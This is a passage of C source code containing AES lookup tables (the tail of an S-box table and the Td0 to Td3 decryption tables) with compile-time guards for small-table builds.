|
||||
0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U,
|
||||
0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU,
|
||||
0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U,
|
||||
0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU,
|
||||
0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U,
|
||||
0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU,
|
||||
0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U,
|
||||
0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U,
|
||||
0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU,
|
||||
0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U,
|
||||
0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U,
|
||||
0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U,
|
||||
0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU,
|
||||
0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U,
|
||||
0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U,
|
||||
0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU,
|
||||
0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U,
|
||||
0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U,
|
||||
0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U,
|
||||
0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU,
|
||||
0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU,
|
||||
0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U,
|
||||
0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU,
|
||||
0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU,
|
||||
0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U,
|
||||
0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU,
|
||||
0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U,
|
||||
0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU,
|
||||
0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U,
|
||||
0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U,
|
||||
0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U,
|
||||
0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU,
|
||||
0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U,
|
||||
0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU,
|
||||
0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U,
|
||||
0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU,
|
||||
0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U,
|
||||
0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U,
|
||||
0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU,
|
||||
0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU,
|
||||
0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU,
|
||||
0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U,
|
||||
0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U,
|
||||
0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU,
|
||||
0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U,
|
||||
0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU,
|
||||
0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U,
|
||||
0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU,
|
||||
0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U,
|
||||
0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU,
|
||||
0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU,
|
||||
0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U,
|
||||
0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU,
|
||||
0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U,
|
||||
0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU,
|
||||
0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U,
|
||||
0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U,
|
||||
0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U,
|
||||
0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU,
|
||||
0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU,
|
||||
0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U,
|
||||
0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU,
|
||||
0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U,
|
||||
};
|
||||
#endif /* AES_SMALL_TABLES */
|
||||
const u32 Td0[256] = {
|
||||
0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U,
|
||||
0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U,
|
||||
0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U,
|
||||
0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU,
|
||||
0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U,
|
||||
0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U,
|
||||
0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU,
|
||||
0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U,
|
||||
0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU,
|
||||
0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U,
|
||||
0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U,
|
||||
0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U,
|
||||
0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U,
|
||||
0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU,
|
||||
0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U,
|
||||
0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU,
|
||||
0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U,
|
||||
0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU,
|
||||
0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U,
|
||||
0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U,
|
||||
0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U,
|
||||
0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU,
|
||||
0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U,
|
||||
0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU,
|
||||
0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U,
|
||||
0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU,
|
||||
0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U,
|
||||
0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU,
|
||||
0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU,
|
||||
0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U,
|
||||
0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU,
|
||||
0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U,
|
||||
0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU,
|
||||
0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U,
|
||||
0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U,
|
||||
0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U,
|
||||
0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU,
|
||||
0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U,
|
||||
0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U,
|
||||
0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU,
|
||||
0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U,
|
||||
0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U,
|
||||
0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U,
|
||||
0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U,
|
||||
0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U,
|
||||
0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU,
|
||||
0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U,
|
||||
0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U,
|
||||
0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U,
|
||||
0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U,
|
||||
0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U,
|
||||
0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU,
|
||||
0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU,
|
||||
0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU,
|
||||
0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU,
|
||||
0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U,
|
||||
0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U,
|
||||
0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU,
|
||||
0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU,
|
||||
0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U,
|
||||
0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU,
|
||||
0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U,
|
||||
0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U,
|
||||
0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U,
|
||||
};
|
||||
#ifndef AES_SMALL_TABLES
|
||||
const u32 Td1[256] = {
|
||||
0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU,
|
||||
0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U,
|
||||
0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU,
|
||||
0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U,
|
||||
0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U,
|
||||
0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U,
|
||||
0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U,
|
||||
0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U,
|
||||
0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U,
|
||||
0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU,
|
||||
0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU,
|
||||
0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU,
|
||||
0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U,
|
||||
0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU,
|
||||
0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U,
|
||||
0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U,
|
||||
0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U,
|
||||
0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU,
|
||||
0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU,
|
||||
0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U,
|
||||
0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU,
|
||||
0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U,
|
||||
0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU,
|
||||
0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU,
|
||||
0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U,
|
||||
0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U,
|
||||
0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U,
|
||||
0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU,
|
||||
0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U,
|
||||
0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU,
|
||||
0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U,
|
||||
0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U,
|
||||
0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U,
|
||||
0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU,
|
||||
0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U,
|
||||
0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U,
|
||||
0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U,
|
||||
0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U,
|
||||
0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U,
|
||||
0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U,
|
||||
0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU,
|
||||
0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU,
|
||||
0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U,
|
||||
0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU,
|
||||
0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U,
|
||||
0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU,
|
||||
0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU,
|
||||
0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U,
|
||||
0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU,
|
||||
0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U,
|
||||
0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U,
|
||||
0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U,
|
||||
0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U,
|
||||
0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U,
|
||||
0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U,
|
||||
0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U,
|
||||
0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU,
|
||||
0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U,
|
||||
0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U,
|
||||
0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU,
|
||||
0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U,
|
||||
0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U,
|
||||
0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U,
|
||||
0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U,
|
||||
};
|
||||
const u32 Td2[256] = {
|
||||
0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U,
|
||||
0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U,
|
||||
0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U,
|
||||
0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U,
|
||||
0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU,
|
||||
0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U,
|
||||
0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U,
|
||||
0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U,
|
||||
0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U,
|
||||
0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU,
|
||||
0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U,
|
||||
0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U,
|
||||
0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU,
|
||||
0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U,
|
||||
0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U,
|
||||
0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U,
|
||||
0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U,
|
||||
0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U,
|
||||
0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U,
|
||||
0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU,
|
||||
|
||||
0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U,
|
||||
0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U,
|
||||
0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U,
|
||||
0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U,
|
||||
0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U,
|
||||
0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU,
|
||||
0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU,
|
||||
0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U,
|
||||
0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU,
|
||||
0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U,
|
||||
0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU,
|
||||
0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU,
|
||||
0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU,
|
||||
0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU,
|
||||
0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U,
|
||||
0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U,
|
||||
0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U,
|
||||
0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U,
|
||||
0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U,
|
||||
0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U,
|
||||
0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U,
|
||||
0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU,
|
||||
0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU,
|
||||
0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U,
|
||||
0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U,
|
||||
0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU,
|
||||
0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU,
|
||||
0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U,
|
||||
0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U,
|
||||
0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U,
|
||||
0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U,
|
||||
0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U,
|
||||
0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U,
|
||||
0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U,
|
||||
0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU,
|
||||
0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U,
|
||||
0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U,
|
||||
0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U,
|
||||
0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U,
|
||||
0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U,
|
||||
0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U,
|
||||
0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU,
|
||||
0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U,
|
||||
0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U,
|
||||
};
|
||||
const u32 Td3[256] = {
|
||||
0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU,
|
||||
0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU,
|
||||
0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U,
|
||||
0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U,
|
||||
0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU,
|
||||
0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU,
|
||||
0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U,
|
||||
0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU,
|
||||
0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U,
|
||||
0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU,
|
||||
0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U,
|
||||
0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U,
|
||||
0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U,
|
||||
0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U,
|
||||
0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U,
|
||||
0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU,
|
||||
0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU,
|
||||
0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U,
|
||||
0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U,
|
||||
0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU,
|
||||
0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU,
|
||||
0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U,
|
||||
0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U,
|
||||
0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U,
|
||||
0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U,
|
||||
0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU,
|
||||
0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U,
|
||||
0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U,
|
||||
0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU,
|
||||
0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU,
|
||||
0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U,
|
||||
0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U,
|
||||
0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U,
|
||||
0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU,
|
||||
0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U,
|
||||
0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U,
|
||||
0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U,
|
||||
0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U,
|
||||
0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U,
|
||||
0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U,
|
||||
0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U,
|
||||
0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU,
|
||||
0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U,
|
||||
0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U,
|
||||
0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU,
|
||||
0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU,
|
||||
0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U,
|
||||
0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU,
|
||||
0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U,
|
||||
0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U,
|
||||
0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U,
|
||||
0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U,
|
||||
0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U,
|
||||
0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U,
|
||||
0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU,
|
||||
0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU,
|
||||
0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU,
|
||||
0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU,
|
||||
0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U,
|
||||
0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U,
|
||||
0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U,
|
||||
